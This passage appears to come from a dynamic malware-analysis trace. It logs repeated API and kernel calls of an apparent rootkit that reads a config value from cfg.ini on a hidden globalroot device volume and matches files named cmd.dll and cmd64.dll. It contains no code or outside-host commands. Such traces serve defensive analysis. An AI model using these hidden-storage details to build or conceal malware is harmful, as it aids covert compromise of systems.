(dwMilliseconds=0x124f80) [0127.719] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.719] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.719] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.719] KeEnterCriticalRegion () [0127.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.719] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.719] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.719] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.719] IdePortDispatch () returned 0x103 [0127.719] KeWaitForMutexObject () returned 0x0 [0127.719] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.719] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.719] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.719] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.719] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.719] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfb3c0 [0127.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.719] KeLeaveCriticalRegion () [0127.719] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.719] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.719] KeEnterCriticalRegion () [0127.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.719] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.719] KeLeaveCriticalRegion () [0127.719] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.719] KeEnterCriticalRegion () [0127.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.719] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.719] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.719] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.719] IdePortDispatch () returned 0x103 [0127.719] KeWaitForMutexObject () returned 0x0 [0127.720] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.720] KeLeaveCriticalRegion () [0127.720] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.720] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.720] KeEnterCriticalRegion () [0127.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.720] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b90000 [0127.720] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.720] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.720] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.720] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.720] IdePortDispatch () returned 0x103 [0127.720] KeWaitForMutexObject () returned 0x0 [0127.720] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.720] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.720] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.720] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.720] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.720] IdePortDispatch () returned 0x103 [0127.720] KeWaitForMutexObject () returned 0x0 [0127.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.721] KeLeaveCriticalRegion () [0127.721] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.721] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.721] KeEnterCriticalRegion () [0127.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.721] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.721] KeLeaveCriticalRegion () [0127.721] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.721] KeEnterCriticalRegion () [0127.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.721] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.721] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.721] KeLeaveCriticalRegion () [0127.721] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.721] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.721] KeEnterCriticalRegion () [0127.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.721] ExFreePoolWithTag (P=0xfffffa8003bfb3c0, Tag=0x0) [0127.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.721] KeLeaveCriticalRegion () [0127.721] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.721] ReleaseMutex (hMutex=0xf0) returned 1 [0127.721] Sleep (dwMilliseconds=0x124f80) [0127.736] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.736] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.736] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.736] KeEnterCriticalRegion () [0127.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.736] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.736] IdePortDispatch () returned 0x103 [0127.736] KeWaitForMutexObject () returned 0x0 [0127.737] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.737] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.737] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.737] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.737] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.737] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfcd00 [0127.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.737] KeLeaveCriticalRegion () [0127.737] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.737] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.737] KeEnterCriticalRegion () [0127.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.737] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.737] KeLeaveCriticalRegion () [0127.737] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.737] KeEnterCriticalRegion () [0127.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.737] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.737] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.737] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.737] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.737] IdePortDispatch () returned 0x103 [0127.737] KeWaitForMutexObject () returned 0x0 [0127.737] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.737] KeLeaveCriticalRegion () [0127.737] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.737] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.737] KeEnterCriticalRegion () [0127.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.737] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b95000 [0127.737] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.737] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.737] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.737] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.738] IdePortDispatch () returned 0x103 [0127.738] KeWaitForMutexObject () returned 0x0 [0127.738] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.738] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.738] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.738] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.738] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.738] IdePortDispatch () returned 0x103 [0127.738] KeWaitForMutexObject () returned 0x0 [0127.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.738] KeLeaveCriticalRegion () [0127.738] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.738] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.739] KeEnterCriticalRegion () [0127.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.739] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.739] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.739] KeLeaveCriticalRegion () [0127.739] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.739] KeEnterCriticalRegion () [0127.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.739] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.739] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.739] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.739] KeLeaveCriticalRegion () [0127.739] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.739] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.739] KeEnterCriticalRegion () [0127.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.739] ExFreePoolWithTag (P=0xfffffa8003bfcd00, Tag=0x0) [0127.739] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.739] KeLeaveCriticalRegion () [0127.739] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.739] ReleaseMutex (hMutex=0xf0) returned 1 [0127.739] Sleep (dwMilliseconds=0x124f80) [0127.751] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.751] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.751] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.751] KeEnterCriticalRegion () [0127.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.757] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.757] IdePortDispatch () returned 0x103 [0127.757] KeWaitForMutexObject () returned 0x0 [0127.757] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.757] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.757] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.757] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.757] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.757] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc7b0 [0127.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.757] KeLeaveCriticalRegion () [0127.757] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.757] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.758] KeEnterCriticalRegion () [0127.758] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.758] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.758] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.758] KeLeaveCriticalRegion () [0127.758] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.758] KeEnterCriticalRegion () [0127.758] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.758] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.758] IdePortDispatch () returned 0x103 [0127.758] KeWaitForMutexObject () returned 0x0 [0127.758] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.758] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.758] KeLeaveCriticalRegion () [0127.758] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.758] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.758] KeEnterCriticalRegion () [0127.758] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.758] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c40000 [0127.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.758] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.758] IdePortDispatch () returned 0x103 [0127.758] KeWaitForMutexObject () returned 0x0 [0127.758] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.759] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.759] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.759] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.759] IdePortDispatch () returned 0x103 [0127.759] KeWaitForMutexObject () returned 0x0 [0127.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.759] KeLeaveCriticalRegion () [0127.759] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.759] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.759] KeEnterCriticalRegion () [0127.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.759] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.759] KeLeaveCriticalRegion () [0127.759] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.760] KeEnterCriticalRegion () [0127.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.760] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.760] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.760] KeLeaveCriticalRegion () [0127.760] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.760] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.760] KeEnterCriticalRegion () [0127.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.760] ExFreePoolWithTag (P=0xfffffa8003bfc7b0, Tag=0x0) [0127.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.760] KeLeaveCriticalRegion () [0127.760] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.760] ReleaseMutex (hMutex=0xf0) returned 1 [0127.760] Sleep (dwMilliseconds=0x124f80) [0127.775] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.776] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.776] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.776] KeEnterCriticalRegion () [0127.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.776] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.776] IdePortDispatch () returned 0x103 [0127.776] KeWaitForMutexObject () returned 0x0 [0127.776] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.776] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.776] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.776] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.776] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.776] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc360 [0127.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.776] KeLeaveCriticalRegion () [0127.776] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.776] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.776] KeEnterCriticalRegion () [0127.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.776] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.776] KeLeaveCriticalRegion () [0127.776] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.776] KeEnterCriticalRegion 